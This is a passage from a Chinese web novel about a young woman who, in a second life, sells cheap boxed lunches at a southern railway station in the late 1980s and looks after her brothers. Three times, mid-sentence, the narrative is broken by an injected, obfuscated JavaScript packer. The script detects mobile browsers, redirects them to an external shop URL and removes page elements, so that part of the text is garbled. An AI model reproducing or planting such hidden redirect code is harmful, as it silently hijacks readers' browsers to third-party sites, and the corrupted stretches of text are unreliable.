这天清晨,裴文莹去菜市场买菜。她走到一个全市场最大的蔬菜摊前,看到摊主正心疼地把一大堆脱水发蔫的白菜、断成几截的胡萝卜往旁边的竹筐里扔。 “老板,这些菜怎么不要了?”裴文莹走上前问。 “都是些破相的,卖不出价钱,家里也吃不完,只能扔了。”摊主叹了口气。 裴文莹看着那些虽然有些破损,但依然新鲜的蔬菜,心里一动。在她的老家怀石镇,哪怕是掉在地上的菜叶子,母亲也会捡起来洗干净,腌进酸菜缸里。在这个物质匮乏的年代,农民对土地长出来的东西有着天然的珍惜。 “老板,这些不要的菜你给我吧,我帮你把摊子周围的垃圾打扫干净,行吗?”裴文莹真诚地问道。 老板一看这小姑娘不仅肯帮忙干活,还懂事,当即爽快地答应了。 回到工棚,胡芷兰看着那一筐蔫的菜、断的萝卜,满脸不解:“文莹,你带这些回来干啥?” 裴文莹微微一笑,挽起袖子:“做泡菜。” 她将那些白菜叶、断截的萝卜洗得干干净净,切成小块。用粗盐杀出水分,再加入从老家带来的红辣椒粉、便宜的大蒜末和姜末,小心翼翼地揉搓均匀,最后装进洗净的空桶里密封发酵。 这是她从小看母亲做惯了的农家手艺。在南方闷热潮湿的工棚里,这种咸辣酸脆的小菜,最能下饭。 几天后,当裴文莹打开桶盖时,一股浓郁的酸辣香气瞬间弥漫了整个厨房。中午开饭时,她在每个工人的饭盒里,额外加上了一勺红彤彤的泡菜。 “这是啥?闻着怪香的。”一个老工人用筷子挑起一片白菜叶。 “叔,这是自家腌的泡菜,您尝尝,开胃的。”裴文莹笑着说。 老工人放进嘴里嚼了两下,眼睛猛地一亮。酸、辣、咸、脆的味道在口腔里散开,瞬间勾起了他因为高温而萎靡的食欲。 “哎哟,这小菜真够味!文莹啊,就着这东西,叔能多吃一大碗饭!” 工人们纷纷效仿,一时间,棚子里满是开心的赞叹声。看着工人们吃得满头大汗却一脸满足的样子,裴文莹的心里涌起一股暖流。她觉得,自己的劳动有了真正的价值。 下午,工棚里稍微清闲了些。裴文莹去火车站附近的一家小卖部买酱油。 路过站前广场外围的一处天桥时,她停下了脚步。 桥洞下,没有树荫的墙根旁,密密麻麻地蹲着、躺着一群人。他们大都是刚下火车、还没找到工作的外地农民工。 裴文莹看到一个四十多岁、穿着打补丁蓝布褂子的中年男人。他满脸疲惫,走到广场边的一个自来水龙头前,“咕咚咕咚”灌了一肚子生水,然后回到墙根下,从破编织袋里掏出一个生萝卜,就着水,一口一口地啃着。 这一幕,深深地刺痛了裴文莹的眼睛。 那个男人的身形,像极了她刚去世不久的父亲;他那双因为常年劳作而骨节粗大的手,也像极了她的大哥裴文龙。 他们怀揣着对美好生活的渴望来到南方,却因为找不到门路,只能在城市的边缘苦苦挣扎。他们不舍得去饭馆吃一顿哪怕是最便宜的饭,因为每一分钱都是留着回家用的。 一种强烈的共情在裴文莹心底蔓延开来。她站在原地,脑海里飞快地盘算着。 一斤大米两毛钱,能煮出五碗饭;泡菜是用捡来的处理菜做的,成本极低。如果她煮一大锅结结实实的米饭,配上一大勺开胃的泡菜,卖一块钱一份…… 一块钱,对于这些饿着肚子啃生萝卜的底层劳工来说,是一顿能够负担得起、能让他们吃饱肚子、感受到一点人间烟火气的热饭。 而对于她自己来说,这也是一个能够积少成多的营生。 裴文莹深吸了一口气,转身快步朝着工地的方向跑去。 “芷兰!”一进工棚,裴文莹就拉住了胡芷兰的手,眼睛里闪烁着明亮而充满希望的光芒,“咱们去跟表叔商量商量,借他的大铁锅用用。” “借铁锅干啥?”胡芷兰一脸茫然。 “做盒饭!”裴文莹看着她,声音里带着一种坚定的力量,“去火车站卖。一块钱一份,管饱。咱们不仅能挣点小钱,也能让那些找不到活干的老乡们,吃上一口热乎饭。” 说干就干。借着工地的便利,裴文莹和胡芷兰凑了点本钱,去粮油店扛回了五十斤最便宜的大米,又批发了一摞泡沫餐盒。 第二天晌午,裴文莹和胡芷兰蹬着借来的人力三轮车,载着两大桶的热米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795246|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 饭和一塑料桶腌好的泡菜,来到了天桥底下。 “文莹,真能行吗?”胡芷兰看着广场上那些眼神警惕的打工者,心里有些打鼓。 “能行。大家都是出来讨生活的,谁不盼着吃口热乎饭?”裴文莹给胡芷兰擦了擦额头的汗,随后深吸一口气,开始吆喝起来:“卖盒饭咧!打工人盒饭,一块钱管饱!”裴文莹没有用大喇叭,而是用清脆、温和的嗓音,朝着桥洞下的方向喊着。 那些原本蹲在墙根下啃干粮、喝生水的人们,纷纷抬起了头。在这个物价渐渐上涨的八十年代末,一块钱想在国营饭店吃顿饱饭是不可能的,但眼前的热气却实实在在地勾着人的肠胃。 最先走过来的,正是昨天裴文莹看到的那个啃萝卜的中年汉子。他身边还跟着几个同样面带菜色的年轻人,听口音,像是湘省那边过来的。 “丫头,真的一块钱?管饱?”中年汉子咽了口唾沫,有些局促地搓了搓手,生怕听错了价钱。 “真的,大叔。”裴文莹笑着点点头,麻利地拿出一个泡沫餐盒,用大铁勺将米饭压得严严实实,直到饭盒都快盖不上了,又在上面重重地浇了一大勺红润爽脆的泡菜,双手递了过去。 中年汉子接过沉甸甸的饭盒,迫不及待地蹲在路沿上,用一次性筷子扒拉了一大口。 早籼米虽然粗糙,但煮得透,透着粮食的甘甜;那泡菜酸辣爽脆,一口咬下去,“咔嚓”作响,瞬间把闷热天气里失去的胃口全给找了回来。 “好吃!这泡菜,有点咱们老家腌菜的味儿!”汉子大口咀嚼着,眼角竟有些发红。自打来了广东,钱被骗了,活儿没找着,他已经好几天没吃过一顿像样的热饭了。 他一口气把一盒饭扒了个底朝天,有些不好意思地站起身:“丫头,这饭……还能添吗?” “能,说好了管饱的。”裴文莹没有一丝嫌弃,接过饭盒,又给他添了满满一勺饭和泡菜。 汉子身后的几个年轻人见状,也纷纷从贴身的口袋里摸出皱巴巴的一块钱纸币递了过来。很快,桥洞下的打工者们一传十、十传百,裴文莹的三轮车前排起了长队。 五十份盒饭,不到一个小时就卖得干干净净。 就在两人满心欢喜,准备收拾空桶回去时,几个不速之客晃晃悠悠地走了过来。 8. 第 8 章 领头的正是那天在出站口试图纠缠她们的那个长发青年,外号“卷毛”。他今天带着五六个穿着花衬衫、流里流气的小混混,手里甚至还拎着几根锈迹斑斑的钢管。 “哟,两个靓女,”卷毛走到三轮车前,用钢管敲了敲三轮车的车把,发出刺耳的“当当”声,“在这儿做起买卖来了?不知道火车站这片儿是谁的地盘吗?” 胡芷兰吓得一把抓住了裴文莹的胳膊,浑身发抖。 裴文莹护住胡芷兰,脸色微沉。 “这位大哥,我们初来乍到,不懂规矩。”裴文莹尽量让语气平和,从兜里掏出刚刚卖盒饭赚来的十块钱纸币,递了过去,“一点辛苦费,大家就当交个朋友。” 她懂得分寸,宁可破财消灾,也不愿把事情闹大。 卷毛看了一眼那十块钱,却嗤笑了一声,一把将钱打落在地:“打发叫花子呢?老子看上的是你这人!今天不拿五十块钱出来,以后你这摊子别想摆了!不然,哥哥带你去后头的台球室,咱们好好‘交个朋友’。” 说着,他伸手就去抓裴文莹的手。 裴文莹猛地后退一步,咬紧了嘴唇,手伸向了大铁勺。 “干什么呢!光天化日欺负两个姑娘,要不要脸!” 就在这剑拔弩张的时刻,一声中气十足的怒喝从旁边传来。 裴文莹转头一看,是刚才那个第一个买盒饭的中年汉子。他带着那七八个吃饱了饭的湘省年轻人,大步流星地走了过来,像一堵结实的人墙,挡在了裴文莹和胡芷兰的身前。 中年汉子名叫吴春生,是湘省兆丰县一个村的民兵队长。这次带着同村的几个子侄辈出来打工,没成想刚出火车站就被骗光了盘缠。 此时,吴春生一双常年干农活的粗糙大手紧紧攥成了拳头,眼神像鹰一样盯着卷毛。 “老东西,少管闲事!知道老子是谁吗?”卷毛见对方人多,虽然有些忌惮,但仗着手里有钢管,依然嚣张地叫嚣着。 “我管你是谁!”吴春生冷哼一声,“这俩姑娘今天给我们吃了一顿饱饭,就是我们的恩人。你想动她们,先问问我们答不答应!” 话音刚落,吴春生身后的几个年轻人——他的侄子吴大龙、吴大虎等人,纷纷上前一步,撸起了袖子。他们虽然穿着破旧,面带菜色,但那股子常年在田间地头劳作练就的腱子肉,和一股子不服输的悍气,瞬间汇聚成了一股强大的压迫感。 卷毛身后的一个小混混想充好汉,举起钢管就朝吴春生砸去。 吴春生不慌不忙,身子微微一侧,避开钢管,蒲扇般的大手猛地探出,一把攥住小混混的手腕,顺势往怀里一带,接着肩膀狠狠一靠。 “哎哟!”小混混惨叫一声,钢管脱手,整个人被撞得倒退了好几步,一屁股跌坐在地上。 这招干脆利落,没有花架子,全是实打实的庄稼把式。其他混混见状,顿时有些发憷。 “走!你们给老子等着!”卷毛见势不妙,知道今天讨不到便宜,恶狠狠地指了指吴春生,带着人灰溜溜地跑了。 裴文莹长长地舒了一口气,悬在嗓子眼的心总算落了地。她感激地走上前,对着吴春生深深地鞠了一躬:“吴大叔,谢谢你们。要不是你们,今天这事还不知道怎么收场。” 吴春生憨厚地摆摆手,擦了擦额头的汗:“姑娘,别客气。我们出门在外遭了难,要不是你这盒饭,我们今天还得饿肚子。互相搭把手的事。” 经过攀谈,裴文莹才知道,吴春生他们原本是投奔一个在韶州的老乡,结果老乡去了深城,他们人生地不熟,又被骗了钱,已经在桥洞下睡了三天,正愁找不到活干。 看着这些淳朴、仗义的湘省老乡,裴文莹心里有了主意。 “吴大叔,要是你们不嫌弃干苦力,我表叔那边的建筑工地正缺卸水泥的临时工。工钱虽然不高,但管吃管住。你们先去安顿下来,等攒点钱,再找更好的出路,行吗?”裴文莹真诚地提议。 吴春生和几个年轻人一听,眼睛瞬间亮了。对他们来说,这简直是雪中送炭。 “行!怎么不行!我们有的是力气,只要有口饭吃,啥苦都能吃!”吴春生激动得直搓手,看着裴文莹的眼神充满了感激。 就这样,在裴文莹的引荐下,吴春生一行人在表叔的工地上安顿了下来。有了这群实在的湘省汉子帮忙,裴文莹和胡芷兰去火车站卖盒饭,再也没有地痞流氓敢来找麻烦。每天中午和傍晚,吴大龙他们总会抽出两个人,雷打不动地陪着她们去广场,像保镖一样护着这两辆三轮车。 卖盒饭的生意越来越红火。从每天五十份,慢慢涨到了一百份、两百份。有了吴春生他们的帮忙,裴文莹还在盒饭的花样上做了改进,有时加点萝卜干,有时熬点免费的绿豆汤,那“打工人盒饭,一块钱管饱”的招牌,在韶州火车站人人皆知。 这天收工后,夜风带来了一丝难得的凉爽。裴文莹洗完碗,看到吴春生正在空地上教几个侄子扎马步、练拳脚。他们的动作古朴、刚猛,带着一种说不出的力量感。 裴文莹站在旁边看了很久,直到吴春生停下来擦汗,她才有些迟疑地走了过去。 “吴大叔,这拳法……难学吗?”裴文莹轻声问道。 吴春生愣了一下,笑着说:“这叫‘大摆拳’,是我们村里祖辈传下来的防身把式,没啥名气,但打起架来实用。文莹,你问这个干啥?” 裴文莹低下头,看着自己那双因为每天切菜、搬重物而磨出茧子的手,一个想法渐渐浮现。 前世,她吃够了身体虚弱和无法自保的苦。在南方的工厂里,在那个偏僻的村庄里,她像一株浮萍,任人欺凌。如今重活一世,她不仅要赚钱,更要拥有一副能扛得住风雨的体魄,能在遇到危险时,有一战之力。 “吴大叔,”裴文莹抬起头,“你收徒弟吗?我不怕吃苦。在外头打拼,我不想再遇到坏人的时候,只能靠别人来救。” 吴春生看着眼前这个清瘦却眼神倔强的女孩,心里微微一动。 “学武可是要吃大苦头的,你又已经成年了,姑娘家练这个遭罪。”吴春生善意地提醒。 “我不怕遭罪,我只怕护不住自己和身边的人。”裴文莹态度坚定。 吴春生叹了口气,随后赞赏地点了点头:“好,难得你有这份心气。从明天起,你每天早起半个钟头,我教你扎马步、练手劲。不图你成为高手,遇到事儿了,能自己脱身就行。” 裴文莹每天五点起床,在微微泛白的晨光中,双腿打着颤扎马步;用布包着沙子,一遍遍地练习拍打。她的胳膊酸得连锅铲都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795247|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 快拿不起来,腿上青一块紫一块,胡芷兰看得只咋舌,打死也不肯跟她一样练。 XXX 时间一晃几个月过去,韶州的冬天到了。南方的冬天不会大雪纷飞,但湿冷更让人难受。 简陋工棚里,一派热气腾腾的景象。昏黄的白炽灯下,桌上整整齐齐地码着一沓一沓的钞票,有一毛、两毛的零钱,也有崭新的十块、五十块。 “文莹,咱们这五个月,一共挣了……两万多块?”胡芷兰的手指因为常年洗菜而有些粗糙,此刻却在微微颤抖。她的眼睛瞪得滚圆,死死盯着桌上的钱。 在这个“万元户”依然能引起全镇轰动的八十年代末,对于两个从贫困山区走出来的农村女孩来说,这是一笔难以想象的巨款。刨去买菜买米和租场地的成本,两人一人分到了一万两千块。 “是真的,芷兰。”裴文莹将属于自己的那一半钱,仔细地用牛皮纸包好,放进贴身的帆布包里。她的眼底也闪烁着欣慰的光芒。 “发财了!我发财了!”胡芷兰激动得一把抱住裴文莹,眼泪在眼眶里直打转,“文莹,我要把这钱全寄回家!我要让我哥盖一栋咱们怀石镇最气派的两层小洋楼,我要让全村人都看看,我胡芷兰在城里混出个人样了!以后,那楼里必须得有我一间最大的房!” 看着胡芷兰被突如其来的财富冲昏头脑的样子,裴文莹也笑容满面。 此时的旗山县,寒风凛冽。 打字机修理厂的简易办公室里,阳光透过玻璃窗洒在办公桌上,透着几分暖意。裴文龙穿着一件洗得干净的西装,虽然领口有些泛白,但整个人却透着一股前所未有的自信。 他设计的打字机修理培训课程,经过几个月的摸索,效果出奇的好。不仅让厂里的学徒们手艺突飞猛进,甚至吸引了不少外来学手艺的人。 “龙哥,你找我?”丁大湖气喘吁吁地跑了进来,他是裴文龙在培训班里最忠实的追随者。 “大湖,坐。”裴文龙指了指对面的椅子,微笑着说,“培训班里你学得最扎实。我想问问你,是想出师去外面单干,还是留下来当我的副手?我想把初级班交给你带,我专门负责高级班。” 丁大湖激动得直接站了起来,紧紧握住裴文龙的手:“龙哥,我哪儿也不去,就跟着你干!” 安顿好丁大湖,师傅周群雄推门走了进来。看着自己这个最得意的弟子,周群雄眼中满是赞赏。 “文龙,你他娘的真是个天才!”周群雄拍着他的肩膀,大笑着说,“培训班搞得好,下个月,你工资涨到一千块!” 一千块!裴文龙愣住了,隔壁文化馆馆长一个月工资还不到两百块钱。 周群雄没等他回过神,继续抛出了一个更让他心动的消息:“河北那边已经能生产出国产复印机了,以后光修老式打字机,路子会越来越窄。广州那边马上有个进口复印机展览会,我跟厂里打过招呼了,路费吃住全报销,你替我去开开眼界,学点新技术回来!” 涨工资让裴文龙有了底气,而去广州学习,则是向他推开了一扇通往新世界的大门。 拿到出差补贴的那一刻,裴文龙做了一个决定:他要带上即将放寒假的小弟裴文韬一起去广东,顺便去韶州看看那个大半年未见、独自在南方闯荡的妹妹文莹。 9. 第 9 章 此时的旗山县一中,期末的紧张气氛正浓。 初一教室里,十二岁的裴文韬坐在靠窗的位置上。他身形单薄,面容俊秀,双漆黑的瞳仁里,透着一种与年龄不符的淡漠与疏离。 他不爱说话,也不跟同学打闹,总是安安静静地坐在那里,仿佛外界的一切都与他无关。这种孤冷的气质,让他在班上成了一个异类,喜欢他和讨厌他的人一样多。 首当其冲讨厌他的,是刚从省城毕业的英语老师。 英语老师是城里来的时兴派,理所当然地认为,像裴文韬这种从怀石镇乡下来的、小学还逃过课的孩子,英语必定是一塌糊涂。与英语老师的偏见不同,数学组的老师们却把裴文韬当成了稀世珍宝。 大办公室里,数学老师正激动地抖着手里的一份测验卷子:“你们看看这解题思路!他根本没学过圆锥体体积的公式,但他硬是用柱体体积的知识,推导出了圆锥体是它的三分之一!这孩子是天生学数学的料,调动已知推导未知,这就是天赋啊!” 很快,物理老师也体会到了这种被“天赋”降维打击的震撼。物理课上,老师在黑板上奋笔疾书推导公式,底下学生听得满头雾水,唯独裴文韬低着头在纸上涂涂画画。 物理老师气不打一处来,故意点他的名:“裴文韬!你来说说这道大题的解法!” 裴文韬站起身,连演算纸都没拿,张口就报出了清晰无比的解题步骤和最终答案。物理老师被他下了面子,赌气地说:“你这么厉害,物理怎么不考满分?” 从此,裴文韬的物理考试,次次都是满分。全班同学从不服气到轮番挑战,最后集体麻木,默默地将他封为初一的“学神”。 放学后,传达室大爷喊住了裴文韬:“小韬,有人找!” 裴文韬走出校门,一眼就看到了穿着西装的大哥裴文龙。那张总是淡漠的脸上,终于绽放出了属于这个年纪的灿烂笑容,像一只骄傲又黏人的小狗一样跑了过去。 “大哥,你怎么来了?不是说等放了寒假再来接我吗?我姐呢,她过年回来吗?” 裴文龙心疼地揉了揉弟弟的头发:“你姐不回来了,咱们去广东找她!哥现在工资涨了,咱们去广州!” 裴文韬不敢置信地睁大了眼睛,眼底闪烁着兴奋的光。裴文龙从包里掏出一个小盒子递给他:“这是你姐特意从南方给你寄的。” 打开一看,是一个崭新的随身听,还有十几盘英语磁带,其中甚至有几盘迈克尔·杰克逊的英文原版歌带。 于是,有段时间,裴文韬每天傍晚都会和忘年交大爷坐在学校后山的草坡上。传达室大爷抽着烟不说话,裴文韬就戴着耳机,反复听着MJ的旋律。他甚至去学校图书馆,软磨硬泡地借出了一本60年代初出版的、泛黄的全英文原版小说。在这个孤傲少年的世界里,一扇更广阔的语言之窗正在悄然打开。 期末成绩公布,怀石镇来的裴文韬在县一中一骑绝尘。总分年级第一,超出第二名整整五十分,数理满分,不仅惊动了所有任课老师,连校长都在暗中默默关注起了这棵好苗子。 腊月二十,学校正式放了寒假。 背着书包的裴文韬,和提着大包小包、意气风发的大哥裴文龙,一起踏上了南下的绿皮火车。 列车在韶州站停靠后,车门一开,混杂着泡面味、旱烟味和体臭的热气瞬间涌出。裴文龙护着弟弟,艰难地提着两个沉甸甸的蛇皮袋,从拥挤的人潮中挤下了月台。 这是裴文韬第一次出远门。少年那双漆黑清冷的眼睛里,难得地透出几分新奇,四下打量着这座南方的城市。而裴文龙的目光,则焦急地在出站口的铁栅栏外搜寻着。 大半年了,自从父亲去世、妹妹提着行李南下,他这个当大哥的就一直悬着心。南方再好,也是个陌生的地方,一个刚满十八岁的姑娘,能在这种鱼龙混杂的地方过成什么样? “哥,姐在哪儿呢?”裴文韬踮起脚尖。 “在那儿。”裴文龙的声音突然有些发涩。 隔着熙熙攘攘的人群,裴文龙一眼就看到了那个熟悉又陌生的身影。 裴文莹没有像其他打工妹那样穿着廉价的踩脚裤或是夸张的蝙蝠衫。她穿了一条洗得发白的石磨蓝牛仔裤,没有夸张的喇叭腿,上身是一件干净的白衬衫,外罩一件灰色菱格纹的针织毛背心。长发利落地扎在脑后,领口敞开着,颈间用黑绳挂着一颗粗粝的蓝色原石。 那是工地上一个老乡从老家矿山带来的海蓝宝原石,未经打磨也不值几个钱,一块钱一颗在摆摊卖。戴在她的脖子上,透着一股充满生命力的挺拔与利落。 裴文莹看到他们,粲然一笑、挥着手跑过来。 “姐!”裴文韬挣脱大哥的手,迎了上去。 裴文莹一把搂住弟弟,揉了揉他的圆脑袋,又抬头看着裴文龙:“哥,你们一路上受罪了吧。” 说着,她极其自然地接过裴文龙手里最重的一个蛇皮袋,领着他们往外走。一路上,无论是站岗的铁路公安,还是旁边卖报纸的小贩,看到裴文莹,都笑着跟她打招呼。她应对自如,在这个混乱的火车站里,像一条游刃有余的鱼。 裴文龙看着妹妹熟练地和人交涉、谈笑,心里既欣慰,又感到一阵难以名状的酸楚。这得吃过多少暗亏、咽下多少委屈,才能练出这份从容? “文莹,咱们别去住招待所,费那个钱干啥。”出了站,听妹妹说要去办入住,裴文龙一把拉住她,“带我们去你住的地方,能有个板子躺着睡觉就行。挣钱不易,能省就省。” 裴文莹拗不过,只能带着他们回了工棚。 工棚很安静,工人们大都返乡了。简易房虽然狭小但打扫得一尘不染,墙角还有用塑料袋装着的泡沫餐盒,裴文龙的眼和弟弟稍事整理就住下了。 裴文莹早就买好了菜,借着空出来的工地大灶,张罗了满满一桌子好菜。中间是一大碗用老家带来的腊肉炒的蒜苗,油汪汪的,透着怀石镇特有的年味。 三人围坐在一台表叔的十二寸黑白电视机前,看着屏幕里有些粗糙的春晚画面。 “哥,我在信里看你说,师傅给你涨工资了?”裴文莹给大哥夹了一筷子腊肉,笑着问。 提到这个,裴文龙的腰板不自觉地挺直了些。他喝了口酒,脸上压抑不住的自豪:“嗯,一个月一千。我帮厂里弄的那个培训班,不仅本厂的学徒学得快,连外县的都来拜师。师傅说我干得好,这次广州搞进口复印机展览会,厂里出钱,让我去开开眼界,学点新技术。” 裴文莹点了点头。前世大哥也是个技术好手,只是被大伯娘设计的婚姻拖垮了一辈子。这一世,避开了那个烂泥潭,大哥的才华终于开始显露锋芒。 “小弟也不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795248|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 裴文龙转头看着正闷头吃肉的裴文韬,笑着摸了摸他的头,“这小子,平时看着闷声不响的,期末考试在县一中考了年级第一。数学物理全是满分。你给他寄的那个随身听和英文磁带,他天天戴着听,英语课上直接用一口洋文把老师给说懵了,现在全校都管他叫‘学神’。” 裴文韬闻言,耳朵微微泛红,傲娇地扭过头,嘟囔了一句:“老师教得太慢了,没意思。” “考第一也不能翘尾巴。”裴文莹放下筷子,神色突然变得严肃起来。 她看着围炉夜话的两个至亲,深吸了一口气,抛出了那个在心里盘算已久的决定。 “哥,等过一阵,我把这边的事弄完,就不在韶州待了。我想去深城。” 狭小的工棚里,瞬间安静了下来。 “去深城干什么?”裴文龙的眉头立刻皱了起来,“卖盒饭虽然苦,但好歹安稳。你一个女孩子,跑去那个全是外地人的特区,连个落脚的亲戚都没有!” 裴文莹看着大哥,语气平静却坚定,“天天在工地上卖盒饭,不是我要的日子。” “那你想要什么日子?”裴文龙有些急了,他的声音不自觉地拔高,“文莹,哥现在一个月能挣一千了,我供得起你!你回老家复读吧,凭你的底子,肯定能考上大学。考上大学,包分配,端铁饭碗,那才是正路!” 在裴文龙传统的观念里,考大学是跨越农门、改变命运唯一的路。他心疼妹妹,觉得她不该在泥土里打滚。 “哥,铁饭碗端不了一辈子。”裴文莹摇了摇头。 她的眼前闪过前世在电视里看到的那些画面:下岗潮、下海经商、中国加入世贸组织。在未来的几十年里,中国制造业将以一种野蛮而恐怖的速度腾飞,从占据世界不足百分之二的份额,一路狂飙成为世界第一制造大国。无数个手工作坊将变成现代化的工厂,无数个胆大包天的人将在这个时代的浪潮中积累起令人眩晕的财富。 “现在的南方,遍地都是机会,到处都在建厂子。我想去深城,去闯一闯,哪怕从最底层的流水线干起,我也要看看外面的世界到底是怎么样的。”裴文莹的眼神亮得惊人,“等我站稳了脚跟,有的是机会再读书。” 裴文龙张了张嘴,还想再劝,却发现自己在这个十八岁的妹妹面前,竟然找不到反驳的词。 一直没说话的裴文韬停下了筷子。他看着姐姐,清冷的眼睛里闪过一丝异样的光,似乎在思考着什么:“姐,那我是不是也可以像你一样,不考大学,直接去……” “你想都别想!” 话还没说完,裴文莹就像被踩了尾巴的猫,脸色瞬间变得狰狞,猛地一拍桌子,震得桌上的筷子都跳了一下。 她指着裴文韬的鼻子,声音大得几乎是在吼:“裴文韬,读书是你唯一的出路!你敢动辍学的念头,我抽死你!你必须给我考大学,考最好的大学!听见没有?!” 只许州官放火,不许百姓点灯。 裴文韬被姐姐这突如其来的暴怒吓了一跳,气呼呼地别过脸去,在心里疯狂呐喊。但他不敢顶嘴,因为他知道,裴文莹要是真动起手来,是真敢拿竹条抽他的。 看着弟弟憋屈的样子,裴文莹的怒火才稍稍平息。她太清楚底层打拼的苦了,她和大哥在这泥沼里挣扎,就是为了把这个最有天赋的弟弟托举上去,绝对不容许他走半点弯路。 10. 第 10 章 年夜饭在兄妹三人各异的心思中结束了。 过年期间,韶州的摊贩大都回乡了,火车站的盒饭需求激增。裴文莹把大哥带来的几大块腊肉全蒸了,切成薄片铺在米饭上,每盒一片,加量不加价。这透着家乡味的“新年盒饭”,引得留守的打工者疯狂抢购。 裴文龙和裴文韬也挽起袖子加入了战局。一个负责切菜装饭,一个负责洗菜洗碗。兄妹三人配合默契,像一台高速运转的机器。每天能卖出几百份盒饭,累得连直起腰都困难,但每晚数钱时笑得很大声。 初十的清晨,薄雾还未散去。 裴文龙带着裴文韬,背起行囊,准备前往广州参加复印机展览会。临走前,裴文莹硬是把两百块钱塞进了小弟的口袋里,又仔细帮他整理了衣领。 “哥,小弟交给你了。在广州多看看,别省钱。” 裴文龙点点头,深深地看了一眼妹妹:“文莹,在深城要是撑不住了,就给哥写信,随时回家。” XXX 二月底,工人已经陆续回到了工地。工棚那间专门用来打包盒饭的简易房里,气氛微妙。昏黄的灯泡悬在头顶,照着木桌上那一摞摞按面值理好的钞票。 “过年和现在这两个多月,一共挣了八千四百九十二块。”裴文莹把账本合上,推到桌子中间。 坐在对面的胡芷兰没有抬头,她的手指无意识地绞着衣角,眼神里闪过一丝愧疚,嘴唇动了动,似乎想说什么。 “等会儿!”一只粗糙的大手猛地按在了那堆钱上。 胡芷兰的大哥胡磊跨前一步,大剌剌地扫了一眼账本,冷哼了一声:“亲兄弟明算账,这生意本来就是我家芷兰跟你一起干起来的,按规矩,平分!” 表叔站在一旁,实在看不下去了,磕了磕手里的烟袋锅,皱着眉头说:“胡磊,你这话说得不合适。过年芷兰回老家,这半个月的盒饭全靠文莹和她两个兄弟没日没夜地撑着。按理说,文莹多拿一份是理所应当的。” “那不行!规矩就是规矩!”胡磊像被踩了尾巴一样跳了起来,脖子上的青筋都爆了出来,“她兄弟来帮忙,那是她自愿的,凭什么算在成本里?我这几天不也帮着买菜煮饭了吗?” 裴文莹看着胡磊那副急不可耐的嘴脸,心里有点烦。 一个月前,胡芷兰从老家过完年回来,把胡磊带进了工地。从那天起,原本充满热火与希望的盒饭生意,就开始从根子上烂掉了。 胡磊一接手采购,就为了压低成本,偷偷买回了陈化粮。裴文莹看着那些发黄的米粒,质问他怎么能给工人们吃这种东西,胡磊却满不在乎地大吼:“便宜的米利润才高!他们干苦力的,吃饱就行了,哪吃得出好坏!煮饭的时候多掺两瓢水,两百份的米能煮出三百份的量,这都是钱啊!” 不仅如此,当菜市场的摊贩带着孩子来买饭,小孩不小心碰倒了一盒泡菜时,胡磊竟然凶神恶煞地逼着人家赔钱,吓得孩子哇哇大哭。 裴文莹看着站在胡磊身后、目光躲闪,像只鹌鹑一样的胡芷兰,心里明白,这段互相扶持的异乡情谊,终究是走到头了。 “就平分吧。”裴文莹没有争辩,她利落地数出属于自己的那份,用报纸包好,“芷兰,这生意以后就交给你和你大哥了。我明天就走。” 胡芷兰猛地抬起头,眼眶瞬间红了,她张了张嘴:“文莹……” 裴文莹没有看她,转身走出了工棚。 门外的夜风吹在脸上,让她清醒了许多。放弃这个日进斗金的盒饭摊,她并不觉得可惜,真正让她感到难过的,是胡芷兰身后的另一个影子。 那个叫龙通的男人。 裴文莹闭上眼睛,脑海里不受控制地浮现出几天前在电子厂门口看到的那一幕。 那天晚上,她原本是去找老乡拿东西。远远地,她看到一个打扮得极其时髦的女人。垫肩短西装,高腰阔腿牛仔裤,脚下一双红色细跟小皮鞋踩得“哒哒”作响。波浪卷发配着夸张的金色耳环——如果不是那熟悉的轮廓,裴文莹几乎认不出那是胡芷兰。 而让裴文莹瞬间浑身血液倒流、如坠冰窟的,是胡芷兰正亲密挽着的那个男人。 那个男人高大挺拔,穿着天蓝色的衬衣,眉眼俊朗,正低下头,温柔地在胡芷兰耳边呢喃着什么,逗得胡芷兰娇羞地把头靠在了他的肩膀上。 龙通。 看到那张脸的瞬间,裴文莹只觉得四周的喧嚣瞬间远去,耳边只剩下自己如擂鼓般的心跳,指甲深深地掐进了掌心,掐出了血印。 前世那些被她刻意压在心底最深处的梦魇,像毒蛇一样破土而出,死死勒住了她的脖子。 前世,也是在韶州。那是裴文莹和胡芷兰刚攒下第一笔钱的时候。两人高兴地去街上买东西,却遭遇了飞车党。装满全部家当的包被抢走,两人绝望地哭喊着追赶。 就在那时,龙通出现了。他像个从天而降的英雄,拔腿狂奔,死死护住那个包,任凭飞车党拳打脚踢也绝不松手。 